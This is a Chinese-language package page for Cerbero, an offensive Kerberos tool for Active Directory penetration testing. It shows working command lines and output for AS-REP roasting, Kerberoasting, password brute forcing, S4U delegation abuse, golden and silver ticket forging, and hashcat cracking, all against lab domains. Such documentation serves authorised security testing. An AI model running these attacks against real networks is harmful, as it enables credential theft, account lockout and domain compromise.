20个版本
0.0.20 | 2021年1月19日 |
---|---|
0.0.19 | 2021年1月18日 |
0.0.8 | 2020年12月23日 |
0.0.5 | 2020年6月13日 |
0.0.2 | 2020年5月31日 |
#721 在 认证
每月 39次下载
205KB
5.5K SLoC
Cerbero
Cerbero是Kerberos协议攻击者。Active Directory渗透测试中执行与Kerberos协议相关的多个任务的工具。
安装
从crates安装
cargo install cerbero
从repo安装
git clone https://gitlab.com/Zer1t0/cerbero.git
cd cerbero/
cargo install --path .
命令
Ask
ask
命令允许从KDC(Active Directory环境中的域控制器)检索Kerberos票据(TGT/TGS)。此外,它还通过使用S4U2Self和S4U2Proxy Kerberos扩展来执行请求以获取票据。
TGT
请求TGT
$ cerbero ask -vv -u contoso.local/anakin -p Vader1234!
INFO - Request contoso.local/anakin TGT for contoso.local
INFO - Save contoso.local/anakin TGT for contoso.local in anakin.ccache
TGS
请求TGS
$ cerbero ask -vv -u contoso.local/anakin -p Vader1234! -s ldap/dc01
INFO - Get contoso.local/anakin TGT for contoso.local from anakin.ccache
INFO - Request contoso.local/anakin TGS for ldap/dc01
INFO - Save contoso.local/anakin TGS for ldap/dc01 in anakin.ccache
跨领域TGS
$ cerbero ask -vv -u contoso.local/anakin -p Vader1234! -s ldap/dc01.poke.mon
S4U2self
执行S4u2self
$ cerbero ask -vv -u contoso.local/anakin -p Vader1234! -i han
WARN - No contoso.local/anakin TGT for contoso.local found in anakin.ccache: No TGT found for 'anakin
INFO - Request contoso.local/anakin TGT for contoso.local
INFO - Save contoso.local/anakin TGT for contoso.local in anakin.ccache
INFO - Request contoso.local/han S4U2Self TGS for contoso.local/anakin
INFO - Save contoso.local/han S4U2Self TGS for contoso.local/anakin in anakin.ccache
跨领域S4U2proxy
$ cerbero ask -vv -u contoso.local/anakin -p Vader1234! -i poke.mon/pikachu
为用户的特定服务执行S4u2self
$ cerbero ask -vv -u contoso.local/anakin -p Vader1234! -i han --user-service service/anakin
INFO - Get contoso.local/anakin TGT for contoso.local from anakin.ccache
INFO - Request contoso.local/han S4U2Self TGS for service/anakin
INFO - Save contoso.local/han S4U2Self TGS for service/anakin in anakin.ccache
S4U2proxy
执行S4u2proxy
$ cerbero ask -vv -u contoso.local/anakin -p Vader1234! -i han -s service2/leia
WARN - No contoso.local/anakin TGT for contoso.local found in anakin.ccache: No TGT found for 'anakin
INFO - Request contoso.local/anakin TGT for contoso.local
INFO - Save contoso.local/anakin TGT for contoso.local in anakin.ccache
WARN - No contoso.local/han S4U2Self TGS for contoso.local/anakin found
INFO - Request contoso.local/han S4U2Self TGS for contoso.local/anakin
INFO - Save contoso.local/han S4U2Self TGS for contoso.local/anakin in anakin.ccache
INFO - Request contoso.local/han S4U2Proxy TGS for service2/leia
INFO - Save contoso.local/han S4U2proxy TGS for service2/leia in anakin.ccache
跨领域S4U2Proxy
$ cerbero ask -vv -u contoso.local/anakin -p Vader1234! -i han -s service/pikachu.poke.mon
您还可以通过更改用户的最终TGS中的目标服务来执行s4u2proxy
$ cerbero ask -vv -u contoso.local/anakin -p Vader1234! -i han -s HTTP/dc01 --rename-service ldap/dc01
WARN - No contoso.local/anakin TGT for contoso.local found in anakin.ccache: No TGT found for 'anakin
INFO - Request contoso.local/anakin TGT for contoso.local
INFO - Save contoso.local/anakin TGT for contoso.local in anakin.ccache
WARN - No contoso.local/han S4U2Self TGS for service/anakin found
INFO - Request contoso.local/han S4U2Self TGS for contoso.local/anakin
INFO - Save contoso.local/han S4U2Self TGS for contoso.local/anakin in anakin.ccache
INFO - Request contoso.local/han S4U2Proxy TGS for HTTP/dc01
INFO - Received contoso.local/han S4U2proxy TGS for HTTP/dc01
INFO - Rename service from HTTP/dc01 to ldap/dc01
INFO - Save contoso.local/han S4U2proxy TGS for ldap/dc01 in anakin.ccache
AsRepRoast
asreproast
可用于发现不需要预认证的用户,并检索用于与hashcat或john破解的票据。
检查许多用户
cerbero asreproast under.world users.txt
检查许多用户具有弱RC4密码(更容易破解)
cerbero asreproast under.world users.txt --cipher rc4
Brute
brute
通过KDC响应来执行TGT请求,以发现用户凭据。这种暴力破解技术允许您发现:
- 有效的用户名/密码对
- 有效的用户名
- 过期的密码
- 被阻止或禁用的用户
由于可能对同一用户进行许多错误的认证尝试而阻塞用户账户,因此应谨慎执行此攻击。
测试许多用户和密码
cerbero brute under.world users.txt passwords.txt
测试一个用户和许多密码
cerbero brute under.world Zeus passwords.txt
测试许多用户和一个密码
cerbero brute under.world users.txt Olympus1234
测试一个用户和一个密码
cerbero brute under.world Zeus Olympus1234
Convert
convert
在krb(Windows)和ccache(Linux)格式之间转换票据文件。
将ccache转换为krb
$ cerbero convert -i anakin.ccache -o anakin.krb -vv
INFO - Read anakin.ccache with ccache format
INFO - Detected krb format from output file extension
INFO - Save anakin.krb with krb format
将krb转换为ccache
$ cerbero convert -i anakin.krb -o anakin.ccache -vv
INFO - Read anakin.krb with krb format
INFO - Detected ccache format from output file extension
INFO - Save anakin.ccache with ccache format
Craft
使用craft
制作金牌和银牌票据。
制作一张金色门票(使用 krbtgt
AES256 密钥)
$ cerbero craft -u under.world/kratos --sid S-1-5-21-658410550-3858838999-180593761 --aes fed0c966ff7f88d776bb35fed0f039725f8bbb87017d5b6b76ee848f25562d2c -vv
INFO - Save kratos TGT in kratos.ccache
制作一张银色门票(用于由机器 styx
托管的 cifs
服务)
$ cerbero craft -u under.world/kratos --sid S-1-5-21-658410550-3858838999-180593761 --ntlm 29f9ab984728cc7d18c8497c9ee76c77 -s cifs/styx,under.world -vv
INFO - Save kratos TGS for cifs/styx.under.world in kratos.ccache
哈希
从用户密码计算 Kerberos 密钥(密码哈希)。
计算 RC4 密钥(NT 哈希)
$ cerbero hash 'IamtheKingofD34d!!'
rc4:86e0a04f7a44ed4d4a7eaf2ee977c799
计算所有密钥
$ cerbero hash 'IamtheKingofD34d!!' -u under.world/Hades
rc4:86e0a04f7a44ed4d4a7eaf2ee977c799
aes128:fe165dec904772a90a177069e4ea7019
aes256:1304965c35176aeb72e1ae5fdd6c2fe2e901af7223cb75f5eaac25ad667136e7
Kerberoast
格式化门票的加密部分,以便使用 hashcat 或 john 进行破解。
您需要提供一个包含用户服务的文件。文件的每一行必须符合以下格式之一
用户
域名/用户
用户:spn
域名/用户:spn
当未指定服务 SPN 时,则使用 NT-ENTERPRISE 实体。这对于暴力破解具有服务的用户也很有用。
以下是一个示例文件
sara
jack:HTTP/webserver
cake.com/john
cake.com/peter:HTTP/peter-pc
使用该文件可以获取以下结果
$ cerbero kerberoast u contoso.local/jaime -p Jama1234! -s /tmp/users.txt | tee /tmp/hashes.txt
$krb5tgs$23$*sara$CONTOSO.LOCAL$sara@contoso.local*$637b06b244ad69bf30d9b0a956c6143....5f69271
$krb5tgs$23$*jack$CONTOSO.LOCAL$HTTP/webserver*$8723987493798178273879856c6....ab78677
$krb5tgs$23$*john$CAKE.COM$john@CAKE.COM*$87687619876bde9879879879....1111111
$krb5tgs$23$*peter$CAKE.COM$HTTP/peter-pc*$2c77d95792f1393d3f25aec157823....4f6085f
要获取具有服务的用户列表,您可以使用 ldapsearch
$ ldapsearch -h 192.168.100.2 -b "dc=contoso,dc=local" -w Vader1234! -D "[email protected]" "(&(samAccountType=805306368)(servicePrincipalName=*)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" samaccountname | grep -i samaccountname: | cut -d ' ' -f 2 | tee users.txt
anakin
leia
可以使用以下 hashcat 命令破解门票
$ hashcat -m 13100 /tmp/hashes.txt wordlist.txt
列表
list
显示凭证文件(ccache/krb)或密钥表的详细信息。类似于 klist
命令。
显示 ccache 文件的凭证信息
$ cerbero list hades.ccache
Ticket cache (ccache): FILE:hades.ccache
[email protected] => krbtgt/[email protected]
Valid starting: 01/12/2021 12:08:09
Expires: 01/12/2021 22:08:09
Renew until: 01/19/2021 12:08:09
Flags: 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Etype (skey, tkt): 18 -> aes256-cts-hmac-sha1-96, 18 -> aes256-cts-hmac-sha1-96
显示密钥表文件的密钥
$ cerbero list user.keytab
Keytab: user.keytab
[email protected]
Name type: 1 -> nt-principal
Key: 8846f7eaee8fb117ad06bdd830b7586c
Key type: 23 -> rc4-hmac
Time: 01/17/2021 16:26:23
Version: 1
如果没有提供文件,它将尝试搜索在 KRB5CCNAME
环境变量中设置的默认凭证文件集。但是,如果提供了选项 -K
,它将尝试显示在 KRB5_KTNAME
环境变量中指定的密钥表文件。
致谢
这项工作基于其他人的出色工作
- Impacket 由 Alberto Solino @agsolino
- Rubeus 由 Will @harmj0y 和 Elad Shamir @elad_shamir
- Mimikatz 由 @gentilkiwi
依赖关系
~15–25MB
~364K SLoC